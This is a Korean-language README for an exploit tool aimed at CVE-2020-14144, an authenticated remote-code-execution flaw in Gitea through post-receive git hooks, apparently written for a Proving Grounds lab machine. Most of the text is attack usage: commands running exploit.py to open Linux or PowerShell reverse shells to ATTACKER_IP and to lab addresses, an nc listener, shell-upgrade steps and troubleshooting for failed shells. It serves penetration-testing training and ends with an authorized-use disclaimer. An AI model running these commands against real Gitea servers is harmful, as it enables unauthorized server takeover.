
Gitea 1.1.0 ~ 1.12.5 버전에서는 "May create git hooks" 권한이 있는 인증된 사용자가 post-receive 훅에 임의의 셸 명령을 주입할 수 있습니다. 커밋을 푸시하면 훅이 트리거되어 서버에서 페이로드가 실행됩니다.
| 항목 | 세부 정보 |
|---|
| 머신 | Roquefort (Proving Grounds Practice) |
| OS | Linux |
| Gitea 버전 | 1.7.5 |
| CVE | CVE-2020-14144 |
| 공격 벡터 | Git Hooks를 통한 인증 RCE |
| 사용자 셸 | chloe |
Gitea 1.1.0 → 1.12.5 버전에서는 "May create git hooks" 권한을 가진 인증된 사용자가 post-receive 훅에 임의의 셸 명령을 주입할 수 있습니다. 커밋을 푸시하면 훅이 실행되어 서버에서 페이로드가 실행됩니다.
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
단계별 공격 가이드는 MANUAL.md를 참조하세요.
.
├── README.md # This file
├── MANUAL.md # Manual exploitation guide (Linux + Windows)
└── exploit.py # Automated exploit script
requests 라이브러리 (pip install requests)git 설치usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)
required arguments:
-t, --target Target Gitea URL (e.g. http://192.168.x.x:3000)
-u, --username Gitea username
-p, --password Gitea password
-I, --rev-ip Attacker listener IP
-P, --rev-port Attacker listener port
optional arguments:
--os Target OS: linux (default) or windows
--repo Repository name to create (default: exploit)
-f, --payload-file Custom shell script payload file
-v, --verbose Verbose output
# 1) Start listener
nc -lvnp 4444
# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
리버스 셸을 획득한 후:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| 문제 | 해결 방법 |
|---|---|
fatal: dubious ownership | 공유 폴더 대신 ~에서 클론하거나 git config --global --add safe.directory '*' 실행 |
| 연결이 수신되지 않음 | 공격자 IP 확인, 방화벽 확인, 두 머신이 같은 서브넷에 있는지 확인 |
| 훅은 실행되지만 셸이 안 열림 | 먼저 touch /tmp/pwned 페이로드로 테스트 — 파일이 생성되면 리버스 셸이 차단되고 있는 것입니다 |
| 훅에 대한 권한 거부 | 사용자에게 훅 권한이 없음 — 관리자 또는 "May create git hooks" 권한 필요 |
| 3000 포트 충돌 | Gitea가 3000을 사용함 — 리스너에 4444 같은 다른 포트 사용 |
이 도구는 승인된 침투 테스트 및 교육 목적으로만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하세요.